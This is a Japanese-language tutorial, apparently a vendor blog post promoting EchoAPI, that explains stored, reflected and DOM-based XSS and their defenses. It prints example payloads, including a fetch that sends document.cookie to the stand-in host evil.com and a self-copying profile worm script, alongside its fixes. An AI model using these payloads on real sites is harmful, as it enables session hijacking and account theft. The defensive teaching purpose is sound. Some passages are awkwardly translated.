XSS攻撃:ハッカーがウェブサイトを壊滅させる方法と防御方法

クロスサイトスクリプティング(XSS)は、最も危険なWebの脆弱性の一つです。ユーザーのデータを盗み、セッションを乗っ取り、マルウェアのように広がる可能性があります。本記事では、XSSの種類や実際の攻撃例、そして安全にウェブアプリケーションを守るための対策について、わかりやすく解説します。

クロスサイトスクリプティング(XSS)は、攻撃者が悪意のあるスクリプトをウェブサイトに注入できるウェブセキュリティの脆弱性です。これらのスクリプトは以下のように機能します:

  • ユーザーのデータを盗む(セッションクッキーやログイン資格情報など)
  • ウェブページのコンテンツを変更する(サイトをハッカーの遊び場にする)
  • ユーザーを悪意のあるフィッシングサイトにリダイレクトする
  • マルウェアや自己複製ワームを広める

XSSは危険です。なぜなら、サーバーに直接攻撃を加えるのではなく、ユーザーのブラウザを騙して有害なコードを実行させるからです。

XSSを想像してみてください。それは、ウェブサイトの耳に悪い指示をささやく目に見えないハッカーで、サーバーが気づくことなくです。

XSS攻撃

実際の例を用いて、3つのXSS攻撃のタイプについて詳しく見てみましょう。どれほど巧妙で破壊的かがわかります。

攻撃#1:邪悪なコメントの呪文(ストレージXSS)

ステップ1:脆弱性 - フィルターを通していないユーザー入力の保存

ゲームフォーラムでは、ユーザーがコメントを投稿し、データベースに保存することができます。コメントを表示する際、フォーラムはそれらをウェブページにフィルター処理せずに挿入します:

<div id="comments">
  <!-- ユーザーのコメントがここに表示されます -->
  <p>${userComment}</p>
</div>

ここが問題です。

  • ユーザーが「こんにちは、良い戦略ですね!」のようなコメントを投稿すると、問題なく動作します。
  • しかし、<script>alert('ハッキングされました!');</script>のようなコメントを投稿すると、ブラウザはそれをテキストとして表示するのではなく、スクリプトを実行してしまいます

ステップ2:攻撃 - 悪意のあるスクリプトの保存と実行

ハッカーのDarkShadow99がこのようなコメントを投稿します:

<script>alert('ハッキングされました!');</script>

次に何が起こるか?

  1. フォーラムはこのコメントをデータベースにそのままHTMLとして保存します。
  2. 他のユーザーがページを訪れるとき、ブラウザはこのコメントを実際のスクリプトとしてレンダリングします。
  3. スクリプトが実行され、誰かが感染したページを表示するたびにポップアップアラートが表示されます。

しかし、もっと悪いことが起こります...アラートの代わりに、ハッカーはユーザーのデータを盗むことができます!

ステップ3:もっと危険な攻撃 - セッションハイジャック

アラートの代わりに、攻撃者はこのようなコメントを投稿します:

<script>
  fetch('https://evil.com/steal?cookie=  ' + document.cookie);
</script>

次に何が起こるか?

  1. 認証済みのユーザーが感染したページを訪れます。
  2. スクリプトがブラウザで自動的に実行されます。
  3. document.cookieがユーザーのセッショントークンを取得します。
  4. スクリプトはこのセッショントークンを攻撃者のサーバー(evil.com)に送信します。
  5. 攻撃者は盗まれたクッキーを使用して被害者としてログインします - パスワードは不要です!

結果: 攻撃者はアカウントをハイジャックし、購入をしたり、ユーザーを偽装することができます!

これをどのように防ぐことができますか?

1. 保存前にユーザー入力をフィルター処理する

データベースにコメントを保存する前に、有害な文字を取り除くかエスケープします。

例:安全なコメントのフィルター処理(Node.js + Express)

const sanitizeHtml = require('sanitize-html');

app.post('/comment', (req, res) => {
  const safeComment = sanitizeHtml(req.body.comment, {
    allowedTags: [], // HTMLは許可しません!
    allowedAttributes: {}
  });
  saveToDatabase(safeComment);
});

これで、ハッカーが<script>...</script>を投稿しても、削除されます!

2. 表示前に出力をエンコードする

データベースに危険な入力が含まれている場合でも、それをコードとして実行するのではなく、テキストとして表示することを確認します。

例:出力のエスケープ(EJS、Handlebars、Reactなど)

<p><%= escapeHtml(userComment) %></p>

React(デフォルトで自動エスケープ)の場合:

<p>{userComment}</p> 

これで<script>はテキストとして表示され、実行されなくなります!

3. コンテンツセキュリティポリシー(CSP)を実装する

CSPは、ページに何らかの形で入った場合でも、インラインスクリプトの実行を防ぎます。

例:安全なCSPヘッダー

Content-Security-Policy: default-src 'self'; script-src 'none'

これで、注入されたJavaScriptの実行がブロックされます!

攻撃#2:フィッシングの罠(リフレクテッドXSS)

銀行(trustworthybank.com)には、ユーザーがパスワードを忘れた場合にメールアドレスを入力してリセットリンクを受け取れる**「パスワードを忘れた」**機能があります。リクエストは次のようになります:

GET /reset-password?email=your@email.com

ステップ1:設定

攻撃者はこのようなリンクを作成します:

https://trustworthybank.com/reset-password?email=  <script>fetch('https://evil.com/steal?cookie=  '+document.cookie)</script>

ここで何が起こっているか?

  • 攻撃者はemailパラメーターの中に<script>タグを注入します。
  • スクリプトはfetch('https://evil.com/steal?cookie= '+document.cookie)を実行し、被害者のクッキーを盗んでevil.comに送信します。

ステップ2:被害者が悪意のあるリンクをクリックする

攻撃者はこのリンクを次のように送信します:
メール(「パスワードをリセットするにはこちらをクリック!」)
ソーシャルメディア(「あなたが賞品を獲得しました!今すぐ受け取る」)
フィッシングサイト(「あなたのアカウントを認証する必要があります」)

被害者がログイン状態でこのリンクをクリックすると、認証クッキーとともに寝始めます。

ステップ3:サーバーが悪意のあるスクリプトを反映する

trustworthybank.comユーザー入力を適切にフィルター処理しない場合、攻撃者のスクリプトをHTMLレスポンスにエンコードせずに含めてしまいます。

脆弱なサーバーのレスポンス:

<p>メールアドレスのパスワードをリセットします:<script>fetch('https://evil.com/steal?cookie=  '+document.cookie)</script></p>

ブラウザはレスポンスに含まれるJavaScriptを実行するため、このスクリプトは被害者のブラウザで即座に実行されます

ステップ4:スクリプトが実行され、クッキーが盗まれる

被害者がページを読み込むと、ブラウザはスクリプトを認識して実行します

次に何が起こるか?

  1. document.cookieが被害者のセッショントークンを取得します(ログイントークンを含む場合があります)。
  2. fetch('https://evil.com/steal?cookie= '+document.cookie)盗まれたクッキーを攻撃者のサーバーに送信します
  3. 攻撃者は被害者のセッショントークンを使用して彼らとしてログインします(セッションハイジャック)。

サイトがHttpOnlyクッキーを使用していない場合、攻撃者はセッショントークンを読み取って盗むことができます!

これをどのように防ぐことができますか?

この攻撃を防ぐには、ウェブサイトは複数のセキュリティ対策を実装する必要があります

1. ユーザー入力をエスケープしてフィルター処理する

サーバーは生のユーザー入力をレンダリングしてはいけません。代わりに、スクリプトの実行を防ぐために< > " ' &のような文字をエンコードする必要があります。

安全な出力(エスケープされたHTML):

<p>メールアドレスのパスワードをリセットします:&lt;script&gt;fetch('https://evil.com/steal?cookie=  '+document.cookie)&lt;/script&gt;</p>

これで、ブラウザはスクリプトをテキストとして表示するようになりました。

2. コンテンツセキュリティポリシー(CSP)を実装する

CSPはインラインJavaScriptの実行をブロックするため、XSSを防ぐことができます。
の安全なヘッダー

Content-Security-Policy: default-src 'self'; script-src 'none'

これで、注入された<script>タグの実行がブロックされます!

3. HttpOnlyクッキーを使用する

クッキーはJavaScriptからアクセスできないようにする必要があります。これにより、盗難を防ぐことができます。
HttpOnlyでクッキーを設定する:

Set-Cookie: sessionID=abc123; HttpOnly; Secure; SameSite=Strict

これで、JavaScriptがdocument.cookieにアクセスできなくなります!

4. URLパラメーターの検証とエンコード

バックエンドは、URL内の危険な入力を拒否するかエンコードする必要があります。
安全なURLエンコードの例:
ページに挿入する前に、emailをエンコードします:

https://trustworthybank.com/reset-password?email=alice%40mail.com 

これにより、<script>タグが実行されるのを防ぎます。

攻撃#3:危険なDOM操作

ソーシャルメディアサイトでは、ユーザーがプロフィールのバイオを設定することができます。これは次のようにページに動的に挿入されます

document.getElementById('bio').innerHTML = userBio;

ここが問題です。

  • innerHTMLHTMLを実際のコードとしてレンダリングするため、ユーザーがバイオを<script>タグに設定すると、ブラウザはそれを実行してしまいます。
  • ここで行われるようなサニタイズやエンコードがないため、攻撃者は誰かがプロフィールを閲覧するときに実行されるJavaScriptを注入することができます。

ステップ1:攻撃 – 自己増殖型XSSワーム

ハッカーは、自分のプロフィールバイオを次のような悪意のあるペイロードに設定します:

<script>
  fetch('/update-bio', {
    method: 'POST',
    body: '<script>fetch("/update-bio", {method: "POST", body: this.innerHTML})</script>'
  });
</script>

ステップ2:被害者がハッカーのプロフィールを閲覧する

被害者がハッカーのプロフィールを閲覧すると、ブラウザはバイオを認識し、<script>...</script>内のスクリプトを実行します。
スクリプトは次に、被害者のバイオを更新するリクエストを行います。
新しいバイオには、同じスクリプトが含まれており、実質的に被害者のプロフィールに自分自身をコピーします。

ステップ3:被害者が感染する

他のユーザーが被害者のプロフィールを訪れるたびに、彼らも感染してしまいます!
これは、数千のユーザーが数分で感染するように広がり続けます。
ソーシャルメディアサイト全体が、ユーザーがお互いに感染し続けることで危険にさらされます!

これをどのように防ぐことができますか?

1.安全な方法(XSSを防ぐ)

document.getElementById("bio").innerHTML = userBio;

問題: innerHTMLはテキストをHTMLとして解釈し、JavaScriptの注入を許可します。

document.getElementById("bio").textContent = userBio;

解決策: textContentは入力をプレーンテキストとして扱うため、<script>タグはコードとして実行されずにテキストとして表示されます。

2.追加のセキュリティ対策

1. ユーザー入力をエスケープしてサニタイズする:
  • DOMに挿入する前に、<>のような特殊文字をエンコードします。
  • DOMPurifyのようなライブラリを使用して、ユーザー入力を安全にクリーンアップします。
2. コンテンツセキュリティポリシー(CSP)を使用する:
  • これにより、innerHTML経由で挿入されたスクリプトが実行されるのを防ぎます。

CSPヘッダーを使用してインラインスクリプトをブロックします:

Content-Security-Policy: default-src 'self'; script-src 'none'
3. HTTPOnlyクッキーを実装する:
  • 攻撃者はXSSを使用してセッションクッキーを盗むことがあります。
  • セッションクッキーをHttpOnlyに設定すると、JavaScriptからアクセスできなくなります。

歴史的なXSS攻撃

1️⃣ MySpace XSSワーム(2005年) – 最も急速に広がったウイルス

ユーザーのSamy Kamkarは、自分のプロフィールの「About Me」セクションに自己増殖型XSSスクリプトを注入してMySpaceを悪用しました。
✅ 誰かが彼のプロフィールを閲覧するたびに、スクリプトは次の動作をしました:

  • 彼をその人のトップフレンドに追加する
  • 自分自身をその人のプロフィールにコピーし、自動的に広がる

24時間以内に100万以上のプロフィールが感染し、MySpaceは一時的にシャットダウンする必要がありました。

2️⃣ British Airways攻撃(2018年) – XSSがクレジットカードを盗む

ハッカーは、British Airwaysウェブサイトに悪意のあるスクリプトを注入し、リアルタイムで380,000人の顧客の支払い情報を盗みました
スクリプトは、ユーザーが入力する際に、クレジットカードデータを外部サーバーに秘密裏に送信しました。
British Airwaysはサイトを保護しなかったことで2億3000万ドルの罰金を科せられました

インタラクティブXSSテストラボ

XSSがどのように動作するか実際に見てみたいですか?これらの安全で教育的なインタラクティブツールをお試しください:

  1. XSSゲーム(Google提供)https://xss-game.appspot.com
    さまざまなXSS脆弱性について学ぶためのハッキングパズルを解きます。
  2. PortSwigger XSSラボhttps://portswigger.net/web-security/cross-site-scripting
    さまざまなXSS攻撃ベクトルをテストするためのハンズオンラボ。
  3. OWASP Juice Shophttps://owasp.org/www-project-juice-shop/
    倫理的なハッキングの練習ができる脆弱なウェブアプリケーション。

EchoAPIがXSS攻撃をどのように防ぐか

EchoAPIがXSS攻撃を防ぐ方法

EchoAPIはAPIテストツールにとどまらず、開発者のためのセキュリティコンパニオンです。
HTTPWebSocketGraphQLなどの複数の通信プロトコルをサポートし、組み込みの認証メカニズムを備えているため、EchoAPIは、攻撃者が悪用する前にXSS脆弱性を特定して修正しやすくなります。

EchoAPIの利点:

  • オールインワンAPIソリューション → 設計、テスト、デバッグ、CI/CD統合、モックサービス、ストレステスト、シームレスなドキュメント化など、すべてが1か所に集約されています。
  • ログイン不要 → アカウント設定なしでアクセスして使用できるため、すぐに作業を開始できます!
Postmanのログインが必要?代替案としてのEchoAPIの発見
開発者として、私は長い間PostmanをAPIのデバッグやテストのための主要ツールとして使用してきました。そのおかげで、ワークフローがスムーズに運営できていました。しかし、Postmanが強制的なログイン機能を導入したことで、私の生産性は影響を受けました。この変化は突然で、私の作業を妨げるものでした。
  • AI搭載インポート → APIドキュメントをインテリジェントな認識ツールを使用して操作可能なインターフェイスに変換します。
  • さらに多くのAI機能が間もなく登場します!
  • 無料のプラグインIntelliJ IDEAVS CodeCursorChromeなどとの互換性があり、追加コストはかかりません。
  • オフラインサポート → いつでもどこでも作業できます。インターネットは不要です。
  • 複数の通信プロトコル → HTTP、GraphQL、WebSocket、TCP、SSEなどに対応しています。
  • スマート認証OAuth 2.0JWT Bearer、AWS Signature、Basic Auth、Hawk Authenticationなどへの組み込みサポートがあります。
  • ツール間の互換性 → Postman、Swagger、Insomniaからのプロジェクトのインポート/エクスポートが簡単です。
  • チームでの簡単な協力 → リアルタイムで作業し、データを即時に同期し、進捗状況をシームレスに共有できます。
API設計ワークフローを効率化する:EchoAPIでスキーマを活用
スキーマはAPI開発においてデータ構造を定義するための重要なフレームワークです。データの形状と検証ルールを設定することで、一貫性と信頼性をアプリケーション全体で維持します。APIにスキーマを導入することで、データの整合性を高め、サービス間のコミュニケーションを統一フォーマットで効率化できます。このガイドでは、スキーマの重要性を解説し、EchoAPIを活用してAPI設計と機能性を最適化する方法を紹介します。

XSS攻撃を防ぐための究極のガイド

サイトをXSS攻撃から保護するには、次の黄金のセキュリティプラクティスに従ってください:
EchoAPIを使用してAPIを設計する
すべてのユーザー入力を保存または表示する前にサニタイズする
✔ **Content-Security-Policy(CSP)**を使用してインラインスクリプトをブロックする
特殊文字をHTMLに挿入する前にエスケープする<script>&lt;script&gt;
HTTPOnlyクッキーを使用するため、スクリプトが認証トークンを盗むことができない
innerHTMLを避ける - .textContentを使用する
ソフトウェアを定期的に更新する - ハッカーは古いシステムが大好きです!

最後に:防御者であれ、被害者であれません!

XSSは最も一般的で危険なウェブ脆弱性の1つですが、適切なセキュリティプラクティスを使用することで、サイトをこれらの目に見えない攻撃から強化することができます。
安全に過ごし、コードをきれいに保ち、ユーザー入力を決して盲目に信頼しないでください。楽しいコーディングを!